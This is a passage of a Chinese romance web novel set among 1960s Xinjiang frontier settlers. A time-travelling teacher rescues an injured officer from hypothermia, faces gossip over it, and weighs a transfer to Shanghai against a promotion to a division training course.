她扒得更快,更急,积雪被抛开,更多的军绿色露了出来,直到舒染的指甲缝里塞满了雪和泥土,刺痛传来,那个熟悉的身影完全暴露在她眼前。 陈远疆半个身子被埋在雪里,蜷缩在一个似乎是野兽的土洞入口低洼处,一动不动。 他的脸朝向洞口,眉毛、睫毛、嘴唇周围都结满了厚厚的白霜,脸色青白。他的一条手臂不自然地弯曲着,明显是摔伤了。 “陈远疆!” 舒染扑到他身边,伸手去探他的鼻息。微弱到几乎感觉不到。 她又去摸他的颈动脉,指尖在冰冷的皮肤上摸索了许久,才感受到一丝极其细微的跳动。 他还活着!舒染差点哭出来。 她立刻环顾四周。这个所谓的“土洞”,其实只是岩壁底部一个浅浅的凹陷,勉强能遮挡一部分风雪,但根本不足以御寒。陈远疆身上的军大衣早已被雪水浸透,冻得硬邦邦的。必须把他移到更避风的地方,否则就算现在还有一口气,也撑不了多久。 她记得刚才搜寻的时候,好像瞥见不远处有几块巨大的岩石相互依靠,形成了一个比这里更深的缝隙。 来不及多想,舒染抓住陈远疆军大衣的后领,试图把他拖出来。成年男性的体重,加上湿透结冰的衣服,沉得像块石头。 她使出吃奶的力气,脸憋得通红,才勉强把他从雪窝里拖拽出来一点。 “呃……” 也许是被牵动了伤处,陈远疆发出了一声微弱的呻吟。 “陈远疆?你能听见吗?”舒染立刻俯下身,凑到他耳边喊道。 他没有回应,眉头痛苦地蹙紧,意识并不清醒。 舒染不再耽搁,调整姿势拖拽着,朝着记忆中那岩石缝隙的方向挪去。 积雪没过小腿,每走一步阻力巨大。她喘着粗气,汗水刚冒出来就变得冰凉,贴在背上冷得刺骨。 几十米的距离,仿佛走了一个世纪。终于,她成功地将陈远疆拖进了那个岩石缝隙组成的天然避风洞。 这里果然比刚才那个浅坑强多了,至少三面有遮挡,风雪小了不少。 她把他小心地放平,让他靠坐在最里面相对干燥的岩壁上。然后解下自己脖子上那条厚厚的羊毛围巾,不由分说地裹住他冻得青紫的脸和脖子,只留下口鼻呼吸。 接着,她开始处理他那只断臂。没有夹板,她折了几根相对笔直坚硬的枯枝,用围巾上扯下来的毛线尽量牢固地将他的小臂固定在胸前,避免移动造成二次伤害。 做完这些,她已经累得几乎虚脱。但更严峻的问题摆在面前——失温。 陈远疆的身体冰冷,呼吸微弱得几乎看不见白气。常规方法很难让他暖和过来了。 她知道最有效的方式是体温传导,尤其是在这种缺乏外部热源的情况下。 舒染只犹豫了一瞬。 什么男女大防,什么闲言碎语,在一条生命面前,都显得可笑而苍白。她舒染从二十一世纪来,比谁都清楚生命的可贵。她不是圣母,她有私心,她珍惜自己好不容易重活一次的机会,但她的私心里,不包括用别人的命来保全自己的名声。 她果断解开自己的棉袄扣子和里衣的扣子,然后她用力掀开陈远疆那件冻硬了的军大衣,接着解开里面的棉衣扣子,直到漏出胸膛肌肤。 她将自己温热的身体,紧紧地贴在他的胸膛上,再用自己的棉袄尽可能包裹住两人。 肌肤相贴的瞬间,她被他的低温激得浑身一颤,起了一层鸡皮疙瘩。但她反而更紧地抱住了他,用自己身体的热量,去温暖他。 时间在寂静和寒冷中流淌。岩石缝隙外,风雪依旧肆虐。缝隙内,只有两人的呼吸声交织。 舒染能感觉到自己体温在流失,陈远疆的身体正汲取着她那点可怜的热量。她开始控制不住地发抖,牙齿打颤。 不知过了多久,就在舒染觉得自己也快要冻僵的时候,她感觉到怀里的人似乎动了一下。 她立刻低头,凑到他耳边说:“陈远疆?陈远疆你醒醒?” 他没有睁眼,但喉咙里发出了一声气音。 “冷……”他呓语般吐出两个字,身体无意识地往她怀里缩了缩,寻求那一点微弱的热源。 舒染心头一紧,更用力地抱紧他:“坚持住,很快就暖和了。” 她像是在对他说,也像是在对自己说。 又过了一会儿,他似乎恢复了一点点意识,但仍旧混沌。他受伤的手臂动了一下,似乎想推开她,但绵软无力。 “……走……”他声音破碎,气若游丝,“……危险……别管我……” 舒染心头火起,都这时候了,还想着推开她?她不仅没松手,反而把他箍得更紧,“别说话!保存体力!” 陈远疆根本没有力气再挣扎。他安静下来,下巴无力地抵在她单薄的肩头,微弱的呼吸地拂过她的脖颈。 沉默再次降临。 就在舒染以为他又昏过去的时候,他忽然又开口了,声音飘忽。 “你说……捂热我……要多久?” 舒染一愣,没想到他会问这个。她没好气地回答:“别废话!捂热了就行,管他多久!” 他好像没听见她的回答,自顾自地继续呓语,声音越来越低。 “捂热了……是不是……就该放你走了?” 舒染身体一僵。 紧接着,她听到他的语气带着一种绝望,又似眷恋,喃喃道: “可我……舍不得你……” “……” 舒染整个人都僵住了。风雪声、寒冷、身体的疼痛,所有感知在瞬间褪去,世界里只剩下他这句呓语。 舍不得? 她从没想过会从这个男人口中,听到“舍不得”这三个字。 她的心里又酸又胀。 她张了张嘴,想说什么,却发现喉咙堵得厉害,一个字也吐不出来。 舒染感觉到他更沉地倚靠进了她的怀里。 她也不再说话,只是更紧地拥住他—— 作者有话说:这一章好难写啊啊啊[捂脸笑哭] [求你了]求宝宝们收藏一下作者和预收文~ 第113章 时间一点点流逝, 寒冷和疲惫不断冲击着舒染的意志。她不敢睡,只能强撑着,时不时低声呼唤他的名字, 确认他还活着。 就在她感觉自己也要撑到极限,眼皮沉重得快要阖上的时候, 岩石缝隙外,隐约传来了人声,还有踩在雪地上的声音, 由远及近。 “……排长!这边!这里有痕迹!” 是民兵排的人,他们找过来了。 舒染精神猛地一振,想开口呼喊,却发现自己嗓子沙哑得几乎发不出声音。 她只能努力抬起手臂, 摸索到身边一块松动的石块, 用尽最后的力气, 朝着岩石外扔去。 “啪嗒。” “那边有动静!快!” 杂乱的脚步声迅速朝着岩石缝隙靠近。 手电筒的光柱照了进来, 晃得舒染下意识闭上了眼睛。 光线定格在紧紧相拥的两人身上。 民兵排长带着两个小伙子出现在洞口, 看着里面的情形, 所有人都愣住了。 舒染脸色冻得青白,棉袄敞开着, 紧紧抱着怀里昏迷不醒的陈远疆,陈远疆的外层军大衣和棉衣被撕扯开着, 里面是裸露的胸膛,他头靠在舒染的肩颈处, 脸上裹着她的围巾。 这画面, 冲击力实在太强。 短暂的安静后,民兵排长率先反应过来,他脸上闪过一丝复杂, 但立刻快步上前,蹲下身:“舒老师?!陈特派员怎么样?” 舒染抬起头看着排长,声音嘶哑的厉害:“快……救人……” 说完这断断续续的几个词,她一直紧绷的那根弦松开了,强撑的力气瞬间抽离,眼前一黑,身体向前栽去。 “舒老师!” 在她彻底失去意识前,仿佛听到民兵排长焦急的呼喊,感觉到有人扶住了她,似乎还有一道目光落在她的脸上。 是错觉吗? 她来不及细想,便陷入了黑暗。 舒染是在自己那间小土坯房的床上醒来的。 意识回笼的瞬间,是浑身骨头像被拆开重组过的酸痛,喉咙干得冒烟,眼皮沉重得抬不起来。 她费力地睁开眼,模糊的视线里,是糊着旧报纸的顶棚,以及从窗户缝隙透进来的的光。 “醒了?谢天谢地!”一个带着惊喜的声音在旁边响起。 舒染偏过头,看到许君君正坐在炕沿的小凳子上,手里还拿着一个搪瓷缸子。王大姐和李秀兰也立刻围了过来。 “感觉怎么样?还有哪里不舒服?”许君君放下缸子,伸手探了探她的额头,“烧退了,就是还有点虚。” “水……” 王大姐赶紧把温着的热水端过来,小心地扶起她,一点一点喂她喝下。舒染感觉好受了些。 “我……睡了多久?”她声音依旧沙哑。 “一天一夜了。”王大姐眼圈有点红,“可吓死我们了!你说你,胆子也太大了!一个人就敢往老冰崖跑!” 舒染扯了扯嘴角,没力气解释,只是问:“他呢?陈……陈特派员怎么样?” 房间里安静了一下。 许君君接过话头,语气沉重:“救回来了。严重失温,左臂应该是开放性骨折,我已经给他做了复位和固定,但医疗条件有限,需要尽快送去团部或者师部医院。身上还有多处冻伤和擦伤。现在人还没醒,一直在发烧。” 还没醒……发烧…… 舒染的心沉了沉。在这种医疗条件下,他感染的风险极高。 “人在哪儿?”她问。 “在卫生室隔壁的屋子躺着。”许君君看着她,“刘书记和马连长都去看过了,师部保卫处和团部也接到了通知,估计很快会派人来处理。” 许君君说完又想起来什么,补充了一句:“哦对了,连队的路已经陆续通畅了,咱们也能和上面联系上了。” 舒染点了点头,挣扎着想坐起来:“我去看看。” “哎哟我的舒老师!”王大姐一把按住她,“你自己也刚从鬼门关走一遭!烧刚退,身上还有冻伤,去看什么看!那边有人看着呢!” “就是,舒老师,你先顾好你自己。”李秀兰也劝道,“陈特派员吉人自有天相,会没事的。” 舒染知道自己现在这副样子去了也帮不上忙,反而添乱。她重新躺了回去,但心里的焦躁并未平息。 “我是怎么回来的?”她换了个问题。 “民兵排的人把你们背回来的。”许君君说,“找到你们的时候,你可立了大功了!排长说,要不是你,他们不一定能那么快找到准确位置,陈特派员恐怕也……” 后面的话她没说完,但意思大家都懂。 王大姐拍着胸口,后怕不已:“你说你,一个女人家,哪来的那么大本事和胆子!真是……真是……”她“真是”了半天,也没找出合适的词,最后化作一声叹息,“没事就好,没事就好啊!” 李秀兰则是一脸敬佩地看着舒染:“舒老师,你真厉害!我们都听说了,你找到陈特派员,还给他接了骨,暖……连民兵排那些大小伙子都说你胆大心细!” 舒染勉强笑了笑,没说话。 “对了,”许君君像是想起什么,压低了些声音,“你们被救回来的时候……样子有点……那个,连队里已经有些风言风语了。” 舒染的心沉了下去。她当时为了给陈远疆取暖,确实几乎脱光了他的外衣,自己也是紧紧抱着他……在那个年代,尤其是在风气相对保守的年代,这绝对是惊世骇俗的。 王大姐脸色也有些不好看,啐了一口:“有些人就是嘴碎!也不看看是什么情况!救命要紧还是那些虚头巴脑的名声要紧?舒老师是为了救人!” 李秀兰也附和:“就是!要不是舒老师,陈特派员说不定就……” 舒染沉默着。流言蜚语,她早有预料。只是没想到来得这么快。她不在乎别人怎么说她,但她担心这会影响陈远疆。他那么注重原则和影响的一个人…… “连里领导怎么说?”她问许君君。 “刘书记和马连长当场就表态了,说你是冒着生命危险救人,是英勇行为,让下面的人不要乱传闲话。”许君君顿了顿,声音更低了,“但是……这种事儿,领导表态归表态,底下人偷偷议论,也管不住。” 舒染明白了。领导层面,至少明面上是支持她的。但群众层面,尤其是本来就不太看得上她、或者对她有意见的人,恐怕不会放过这个机会。 “我知道了。”舒染平静地说,“随他们说去吧。” 她现在没精力去管这些。陈远疆还昏迷着,他的伤势,还有……他昏迷前说的那句话,像烙印一样刻在她脑子里。 “舍不得你……” 那到底是他意识不清的呓语,还是……藏在心底的真话?为什么说舍不得?是发生什么事了吗? 她甩了甩头,强迫自己不去想。当务之急,是养好身体,然后看看能不能做点什么。 接下来的两天,舒染强迫自己吃饭、喝水、休息。她的身体底子好,恢复得很快。冻伤的地方擦了药膏,渐渐好转。她能下地走路后,第一件事就是去卫生室隔壁的屋子。 屋子里弥漫着伤药的味道。陈远疆躺在靠墙的一张简易病床上,脸色依旧苍白,但比在冰窟里好了很多。他闭着眼睛,呼吸平稳了些,但额头依旧敷着湿毛巾,显示烧还没完全退。左臂打着厚厚的石膏和绷带,固定在胸前。 许君君的舍友红梅正在给他换额头上的毛巾。 “舒老师来了。”红梅看到舒染,连忙打招呼。她现在是整个连队的焦点人物。 “他怎么样?”舒染走过去,看着陈远疆的脸。他睡着的样子很安静,眉宇间少了平日里的冷硬。 “烧退了一些,但还是反复。君君说只要能熬过感染关,问题就不大了……就是一直没醒。” 舒染笑着点了点头,在病床边的凳子上坐下。“红梅你休息休息,我看着他。” 红梅犹豫了一下,还是点点头出去了,轻轻带上了门。 房间里只剩下他们两人。 舒染看着陈远疆,看着他干裂起皮的嘴唇,拿起旁边小桌上的棉签,蘸了温水,一点一点涂抹在他的唇上。 她的动作很轻,生怕弄醒他。 “陈远疆,”她低声开口,像是自言自语,“你可得挺住。赶紧好起来,啊。” 她顿了顿,声音更低了些,带着一丝自己都没察觉的委屈和倔强:“你在老冰崖说的话……说话得算话。” 床上的人毫无反应,只有胸膛微微起伏。 舒染就这么陪着陈远疆,从中午坐到了下午。 天色渐渐黑下来,舒染起身准备离开。就在她转身时,余光似乎瞥见的嘴唇动了一下。 她紧紧盯着陈远疆的脸。 等了半晌,再也没有动静。 是错觉吗?还是…… 她心里存了疑,但没有声张,默默离开了屋子。 流言果然如预料的那样,在连队里蔓延。 舒染去食堂打饭,能感觉到周围投来的异样目光和窃窃私语。 “就是她……胆子真大,一个人就敢去找男人……” “听说找到的时候,两人抱得紧紧的,衣服都……” “啧啧,资本家的小姐,就是开放……” “话不能这么说,人家是去救人的!” “救人?谁知道是不是早就……借着机会……” “嘘!小声点!刘书记都发话了,不让乱说!” 舒染面不改色地打完饭,找了个角落的位置坐下,安静地吃。王大姐和李秀兰端着饭碗凑过来,一左一右把她护在中间,瞪着眼睛把那些窥探的目光都瞪了回去。 “别理那些长舌妇!”王大姐气呼呼地说,“一个个闲得腚疼!” 李秀兰也小声安慰:“清者自清,舒老师,咱们问心无愧!” 舒染笑了笑:“我知道,没事。” 她确实不太在意。比起这些流言,她更关心陈远疆的伤势,以及师部或者团部会怎么处理这件事。陈远疆是师部保卫处的特派员,他的受伤不是小事。 第三天下午,舒染正在自己屋里活动手脚,准备明天就去学校看看,许君君一脸严肃地走了进来,顺手关上了门。 “怎么了?”舒染看她脸色不对,问道。 许君君从白大褂口袋里掏出一张折叠着得有些皱巴巴的纸,递给她:“刚才师部来人了,一个是保卫处的干事,另一个是干部处的。他们来看过陈远疆,然后……这个是从陈远疆那件军大衣内衬口袋里找到的。” 舒染接过那张纸,展开。 是一张调令。 打印的格式,盖着红色的公章。内容清晰明了: 调令 兹有新疆生产建设兵团第x师x团畜牧连支边青年舒染同志,因家庭原因及本人实际情况,经研究决定,调回原籍上海市,另行安排工作。 望接到调令后,于十日内办理相关手续,前往上海市xxx区xxx街道报到。 落款处是师部干部处的公章和日期。日期正好是陈远疆回连队的时候。 舒染捏着这张纸,思绪纷乱。 原来他带回了这个。他说的“舍不得”原来是这个意思。 调回上海,这是多少支边青年梦寐以求却求之不得的机会。回到城市,离开这艰苦的环境…… 他是没来得及?还是……他根本就不想给她? 联想到他昏迷前的那句“舍不得”,舒染的心脏像是被什么东西撞了一下,既酸涩又茫然。 “染染,你……你怎么打算?”许君君看着她变幻不定的脸色,小心翼翼地问。 舒染抬起头,“这调令,还有谁知道?” “应该就我和那个干部处的干事。他发现后直接交给我了,让我转交给你。当时保卫处那个干事也在场,不过他在看陈远疆的伤情,可能没注意。” 许君君顿了顿,补充道,“那个干部处干事还说,让你尽快做决定,调令有效期有限。如果决定回去,连队这边会给你开证明,师部手续他们去协调。” 舒染把调令重新折好,放进口袋里。 回去吗? 回到上海,回到相对舒适的环境,远离这里的风沙、艰苦、流言蜚语,还有这剪不断理还乱的情感纠葛。 她可以继续做她的老师,甚至可能有更好的发展。 可是…… 她眼前闪过启明小学那些孩子们的眼睛,闪过王大姐、李秀兰她们的脸…… 还有那个此刻正昏迷不醒的男人。 她走了,学校怎么办?扫盲班怎么办?那些牧区孩子怎么办? 她舒染,什么时候变得这么优柔寡断、被情感牵绊了? 许君君看着她挣扎的神色,叹了口气:“染染,我知道你放不下这里,放不下学校,也放不下……他。但是,这个机会太难得了。而且,现在连队里这些流言……对你也不好。回上海,一切都能重新开始。” 舒染沉默了很久,久到许君君以为她已经做出了决定。 “这调令,我先收着。”舒染说,“回不回去,什么时候回去,得由我自己决定。而不是因为流言,或者因为某个人。” 她站起身,活动了一下肩膀,“有些人,有些事,我得亲眼看着,亲自弄明白。” 第114章 舒染把那张塞进了樟木箱最底层, 压在几件旧衣服下面。 外面关于她的风言风语愈演愈烈,甚至还多出了香艳的版本。 “她们懂个屁!”王大姐灌下半碗凉水,“要不是舒老师, 陈特派员就硬在冰崖下面了!这是救命!是功绩!” 舒染走过去,给王大姐顺顺气:“大姐, 别为这个动气。话说不死人,也养不活人。” 李秀兰忧心忡忡:“可她们说得太难听了……对你名声不好。” “名声?”舒染笑了笑,那笑容有点淡, 带着点冷,“名声是活给别人看的,日子是过给自己的。我现在没空操心那个。” 她确实没空。陈远疆依旧昏迷,高烧反复。许君君守的时间比她长, 眼下一片乌青。“伤势控制住了, 但失温太严重, 身体机能需要时间恢复。他能捡回这条命, 舒染, 真是你硬从阎王爷手里抢回来的。” 舒染没接话, 只是把灌了热水的暖水袋又往陈远疆的脚边塞了塞。他闭眼躺在那儿,脸色苍白, 那条骨折的左臂被木板夹着固定在胸前。 她看着他,想起他那句含混不清的“舍不得”。心口某个地方闷闷的。 但她很快就把这点异样压了下去。她还有更重要的事要做。 林雪舟来找她, 他带来了师部最新的消息。 “舒染同志,关于示范点的规划, 师里很重视。”他开门见山, 语气是公事公办的腔调,但眼神里多了几分敬佩,“孙处长指示, 要我们尽快拿出更详尽的方案,尤其是关于教材系统化和牧区教学点推广的部分。” 舒染请他坐下,倒了杯热水。“林老师有什么具体想法?” “我认为,当务之急是整合现有的教学资源,形成一套可复制的模式。你的实践经验非常宝贵,但需要理论提升和系统化梳理。”林雪舟看着她,语气诚恳了些,“这次……你救了陈特派员,很勇敢。” 舒染扯了扯嘴角,没接这个话茬。“系统化梳理是必要的。不过林老师,理论提升的前提,是确保这套模式在在类似的基层连队能真正扎根,能解决实际问题。我最近在整理学习反馈,发现光是有用还不够,得让人觉得离不开。” 她拿出厚厚一沓用废报纸装订的册子,“你看,我们的教材,我们的系统,得围绕这个‘离不开’来做文章。” 林雪舟翻看着那些充满生活气息的教材,神情专注,半晌才点点头:“你说得对。是我之前过于理想化了。基层工作……确实比我想象的更复杂,也更……生动。” 这是他第一次明确承认自己的不足。舒染有些意外,但也没多表示,只是就着教材的具体细节和他讨论起来。 临走时,林雪舟状似无意地提了一句:“对了,上次和你说的,师部教育科那边,年后可能会有一个名额,针对基层教育骨干的提拔。我们示范点,应该能争取到一个。” 舒染心头一动,面上却不露声色:“哦?这是个好机会。” “嗯。”林雪舟点点头,“我会向孙处长汇报我们的工作进展,这个名额,我认为你比较合适。” 送走林雪舟,舒染站在屋子门口,看着远处被积雪覆盖的戈壁,在月光下泛着清冷的光。 师部学习班……这确实是个跳出畜牧连,接触到更高平台的机会。比她箱底那张调令,似乎更契合她现在的需求。 作为一个穿越到这里的人来说,上海对她来说实在是没有什么牵挂。还有一点就是,她知道在这个六十年代,越是大城市,某些事件的影响力的波及就会越大。 陈远疆是在三天后的凌晨醒来的。 许君君第一时间跑来敲舒染的门,“醒了!舒染!他醒了!” 舒染披上棉袄就冲了出去。跑到卫生室门口,她却停住了脚步,理了理跑乱的头发,才推门进去。 陈远疆靠在床头,脸色依旧很差,但眼睛是睁开的,虽然没什么神采,却清明了。 他看到舒染,目光顿了一下,极快地在她全身扫过,像是确认她是否安好,然后便垂下了眼皮,盯着盖在腿上的旧棉被。 “感觉怎么样?”舒染走过去,声音放得很平缓。 “……还行。”他开口,声音嘶哑得厉害。 许君君倒了温水,扶着他喝了几口。 “你昏迷了好几天。”舒染在床边的凳子上坐下,“是民兵们排在老冰崖找到我们的。” 陈远疆沉默着,似乎在努力回忆。 “我的马……”他哑声问。 舒染顿了一下,如实相告:“……没救过来。” 陈远疆闭了闭眼,喉结滚动了一下。那匹马跟了他很多年。 房间里一阵沉默。只有煤炉子里的火苗噼啪作响。 过了一会儿,陈远疆重新睁开眼,目光这次落在了舒染脸上。 “你……”他顿了顿,似乎在斟酌用词,“你怎么会在老冰崖?” 舒染迎着他的目光,没有丝毫闪躲。“我……不放心。想起你之前提过那条近道,就找过去了。” 她说得轻描淡写,但其中的风险,两个人都心知肚明。 陈远疆的嘴唇抿成一条直线。他看着舒染,眼神里翻涌着很多东西,后怕,感激,愧疚,还有更某些被他强行压制的东西。 “胡闹。”最终,他只吐出这两个字。 舒染没反驳,也没解释。 又一阵沉默之后,陈远疆像是终于下定了决心,再次开口,声音低沉而缓慢:“舒染……” “调令在我这里。”舒染打断了他,语气平静。 陈远疆猛地抬眼看向她。 “你回来,就是为了送这个,对吗?”舒染看着他。 陈远疆避开了舒染的视线,盯着墙壁某处,半晌,才“嗯”了一声。 “师部的决定。”他补充道,声音干涩,“考虑到你的家庭情况,和个人发展……回上海,对你……更好。” 他说得很艰难。 他希望她走吗?他舍不得,冰崖下的呓语是他最怕的东西。但他能留住她吗?凭什么呢?凭这边疆的苦寒,凭这朝不保夕的危险?上海有她的根,有更安稳的生活,也许……还有更广阔的天地。他不能,也不该,用私心绊住她。 舒染静静地看着他,看着他紧绷的下颌线,看着他不敢与她对视的眼睛,看着他蜷起的手指。 她忽然觉得有点好笑,又有点心酸。这个男人,心里怕是已经翻江倒海,面上却还要硬撑着扮演一个深明大义,为她着想的样子。 “是啊,回上海,听起来是不错。”舒染语气轻飘飘的,带着点琢磨不透的意味,“六几年的上海……肯定比这里繁华多了。” 陈远疆的心,随着她这句话沉了下去。他感觉胸口像是被什么东西堵住了,闷得发疼。 果然,她还是想走的。他那些隐秘的不该有的期盼,显得如此可笑。 他努力想扯出一个表示理解,表示支持的表情,却发现脸上的肌肉僵硬得不听使唤。 最终,他只是低下头,从喉咙里挤出几个字:“你……决定就好。” “我确实得好好决定。”舒染站起身,居高临下地看着他,“毕竟,机会不止一个。” 陈远疆抬头,眼中带着一丝困惑。 舒染却没再解释,只是转身对许君君说:“君君,他刚醒,需要休息。我先回去了。” 说完,她没再看陈远疆一眼,径直走了出去。 外面的风很冷,舒染却觉得心头那股郁气散了些。 她回头看了一眼卫生室,轻轻哼了一声。 “傻子。”她低声说,也不知道是在说谁。 她不会回上海。那个时空对她而言早已模糊,那里的风暴或许比边疆更甚。 而这里,有她一手创办的学校,有刚刚看见希望的扫盲班,有依赖她的孩子和妇女,还有一个明明舍不得却非要推开她的傻子。 师部学习班的名额,她要去争一争。不是为了离开,而是为了更好地发展。她要让所有人看到,舒染的价值,在边疆也能实现。 至于箱底那张调令……就让它暂时躺着吧。那是他的舍得,却未必是她的前程。 陈远疆靠在床头,听着关上的声音,只觉得胸口那团堵着的东西,非但没有散去,反而变得更加沉重,搅得他五脏六腑都跟着疼了起来。 她最后那句话是什么意思?机会不止一个?除了回上海,她还有什么机会? 他忽然发现,自己一点也不了解她。这个他第一眼见到时认为的柔弱的资本家小姐。她聪明,坚韧,有主见,甚至……有点狡猾。 她像戈壁滩上的红柳,看着纤细,根系却能扎进盐碱地里,风沙越大,活得越顽强。 他曾经在枪林弹雨里眼睛都不眨一下的战斗英雄,此刻却因为猜不透一个女人的心思,而心烦意乱,惶恐不安。 他舍不得她走。 这个认知,刺穿了他所有的伪装和理智。 可是,他留不住她。 这个现实清晰而残酷。 他闭上眼,莫大的无力感将他淹没。 第115章 接下来的日子, 畜牧连恢复了往日的节奏。 陈远疆的伤势恢复得很慢。骨折需要时间愈合,冻伤的部位更是又痒又痛。但他坚持从卫生室搬回了自己那间屋子。许君君拗不过他,只好隔几天去给他送药。 舒染去看过他两次, 每次都是和许君君或者王大姐一起,送的也是连队里大家都有的慰问品——几个鸡蛋, 或者几个白面馍馍。话不多,问几句伤势,便不再多留。 陈远疆每次都是垂着眼皮, 听着她清淡的嗓音,感受着她来了又走的场面,心里像是有蚂蚁在爬。 他想问问她那句话的意思,想问问调令她打算怎么处理, 想问问……她是不是真的决定走了。可话到嘴边, 看着她那副平静疏离的样子, 又全都咽了回去。 他发现自己竟然有点怕她。怕从她嘴里听到要离开的答案。 连里的风言风语, 在连领导的几次严厉批评和王大姐等人的强势维护下, 渐渐平息了下去。毕竟, 生存是第一位,来年的准备工作已经提上日程, 谁也没那么多闲工夫总盯着别人的事。 舒染把全部精力都投入到了工作中。 她去找了林雪舟,明确表达了对师部那个名额的兴趣。 林雪舟似乎并不意外, 推了推眼镜:“舒染同志,你的能力和贡献, 大家有目共睹。这个名额, 我会尽力为你争取。不过,最终决定权在师部。” “我明白。”舒染点头,“需要我准备什么材料吗?” “把你之前提到的实践案例和初步总结, 形成一份详细的报告吧。还有启明小学这半年多的教学成果,尤其是牧区孩子的变化,数据越具体越好。”林雪舟拿出纸笔,认真地写着要点,“上面很看重实际效果。” “好。”舒染应下。这正是她擅长的。 从林雪舟那里出来,迎面撞上了赵卫东。赵卫东看到她,脚步顿了一下,脸上没什么表情,只是点了点头,算是打过招呼。 “舒老师,忙着呢?”他难得主动开口。 “赵主任。”舒染停下脚步,“正要去教室。快过年了,过完年就要准备春耕,孩子们的课也得调整一下。” “嗯,生产是大事,教学要配合。”赵卫东习惯性地强调,但语气不算生硬,“有什么困难,及时跟连里反映。” “谢谢赵主任。”舒染笑了笑,“目前还好。” 看着舒染离开的背影,赵卫东咂咂嘴,对旁边的干事嘀咕:“这舒老师,是个能扛事的。” 舒染确实能扛事。她不仅扛住了流言,还在积极为自己争取更大的舞台。她写的报告,连林雪舟看了,都忍不住赞叹:“舒染同志,你这份报告,比上面很多科班出身的都扎实。” 几天后,舒染正在教室收拾东西,连部通讯员小赵跑了过来。 “舒老师!师部电话!找你的!” 舒染心里一跳,面上却不动声色,跟着小赵去了连部。 电话是孙处长亲自打来的。 “舒染同志吗?我是孙明。” “孙处长,您好。” “你提交上来的报告,我和教育科的同志们都看过了。”孙处长的声音透过电流,带着些杂音,但语气是温和的,“写得非常好!很有价值!” “谢谢孙处长肯定,我只是把实际做的工作记录了一下。” “不要谦虚嘛。”孙处长笑了笑,“尤其是你提出的思路,对我们全师的扫盲和基层教育工作,都有很强的借鉴意义。看来,让你在畜牧连独当一面,这个决定是正确的,你成长得很快。” 舒染握着听筒,手心有点冒汗。“是连队领导和同志们支持,还有孩子们配合。” “嗯。”孙处长沉吟了一下,“关于年后师部举办的那个基层教育骨干学习班,林雪舟同志应该跟你提过了吧?” “提过了。” “我们研究了一下,决定把这个名额给你。”孙处长的声音很肯定,“希望你能来师部,系统学习一段时间,也把你宝贵的基层经验,跟其他同志交流分享。学习结束后,可能还会有更重的担子交给你。” 舒染稳了稳呼吸,“谢谢组织信任!我一定珍惜这次学习机会,好好学习!” “好,那就这么说定了。具体通知,年后会下发到连队。你提前做好工作安排。” “是!” 挂断电话,舒染在原地站了好一会儿,才慢慢走出连部。 成了,她没有依靠任何人。没有逃离地完成了进阶。 回屋子的路上,遇到了王大姐和李秀兰。 “舒老师,啥好事啊?看你嘴角都翘起来了。”王大姐眼尖。 舒染也没隐瞒:“师部给了个名额,年后去学习一段时间。” “哎呦!这可是大好事!”王大姐一拍大腿,“要去多久?去哪儿学?” “在师部,时间还不确定。” 李秀兰也替她高兴:“舒老师,你真厉害!” 舒染笑笑。她知道,这个消息传开,关于她要回上海的流言,自然会消散。而她选择去师部在所有人看来,是比回上海更更符合她“积极分子”的身份选择。 她下意识地朝着陈远疆屋子的方向看了一眼 不知道他知道了这个消息,会怎么想。 是会为她高兴,觉得她找到了更好的出路?还是会失落? 她忽然很想知道。 陈远疆是从马连长那里听到这个消息的。马连长来看他,顺便提到了师部的电话通知。 “……孙处长亲自点名,让舒老师去学习。这可是咱们连的光荣啊!”马连长语气里带着与有荣焉,“舒老师这同志,确实能干!当初我还觉得她一个资本家小姐,吃不了苦,没想到是块好料!” 陈远疆靠在床头,听着马连长的话,脸上没什么表情。 她要去师部学习了。 不是回上海。 是去一个离他也许更近,也许更远的地方。 他应该为她高兴的。这证明她的能力得到了认可,她的前途一片光明。这比张回沪调令所代表的路,要显得积极得多。 可是,为什么心里那股空落落的感觉,非但没有减轻,反而变得更加深重了呢? 她选择了留下,却似乎离他更远了。 “什么时候走?”他听到自己的声音问,干巴巴的。 “估计得年后了。具体等通知。”马连长没察觉他的异样,还在感慨,“这下好了,舒老师这一学习回来,咱们连的学校,怕是真要成全师的标杆了!” 陈远疆扯了扯嘴角,“我听说,这次学习相当于升迁,也许……就不回来了。” “噢!原来是这样!我记得你也属于师部的干部,那这样你们在师里还能有个照应呢!” 陈远疆想附和着笑一下,却发现有些艰难。 马连长又坐了一会儿,嘱咐他好好养伤,便离开了。 屋子里重新恢复了安静。陈远疆维持着原来的姿势,一动不动地坐着。窗外的光透过窗户照进来,在他脸上投下光影。 他想起她冰天雪地里背着他一步步前行的样子;想起她毫不犹豫用身体为他取暖时的坚决;想起她平静地说“调令在我这里”时的眼神;想起她那句意味不明的“机会不止一个”。 原来,她早就做好了选择。 他忽然觉得,自己那些隐秘的挣扎和痛苦,在她面前显得那么可笑,甚至有些狭隘。 她从来就不是需要他庇护,而是能够与他并肩而立的。 他应该高兴的。 对,他应该高兴。 陈远疆深吸了一口气,再缓缓吐出。胸腔里那股闷痛也随着这口气消散了一些。 他慢慢松开攥紧的手。 他得尽快好起来。 * 天气一天暖过一天,积雪化尽,戈壁滩上冒出了星星点点的绿意。盐碱地被太阳晒得泛白,踩上去硬邦邦的。 陈远疆的伤好了大半,已经能下地慢慢走动。左臂还吊着绷带,但气色好了很多。他开始出现在连部,处理一些积压的公务,偶尔也在连队里转转。 他和舒染碰面的次数多了起来。在食堂,在连部门口,在去水房的路上。 每次,他都问候一句。舒染也是同样客气地回应。 春耕动员大会开过之后,连队彻底忙碌起来。 学校也放了春耕假。大点的孩子都回家帮忙,小点的由舒染组织起来,在教室附近玩,或者帮着食堂捡捡柴火。 舒染自己也领了任务,去副业队帮忙育红薯秧苗。这活不算重,但耗时间,需要耐心。 这天下午,她正在弯腰撒种,一个阴影笼罩下来。她抬起头,看见陈远疆站在旁边,空着的右手里拿着一个牛皮纸信封。 “舒老师。”他开口,声音比前段时间清亮了些。 “陈特派员。”舒染直起腰,拍了拍手上的泥土,“伤好了?” “差不多了。”他晃了晃吊着的左臂,“就是这家伙还得养一阵。” 阳光有点刺眼,舒染眯着眼睛看他。他瘦了不少,脸颊轮廓更加分明,但眼神恢复了以往的沉静,只是深处似乎多了些别的东西。 “有事?”舒染问。 陈远疆把右手的信封递过来。“师部刚送来的,学习班的正式通知。” 舒染接过来,抽出里面的信纸。果然是师部教育科下发的正式文件,明确了学习时间、地点和报到事宜。时间就在十天后。 “谢谢。”她把通知塞回信封,语气平静。 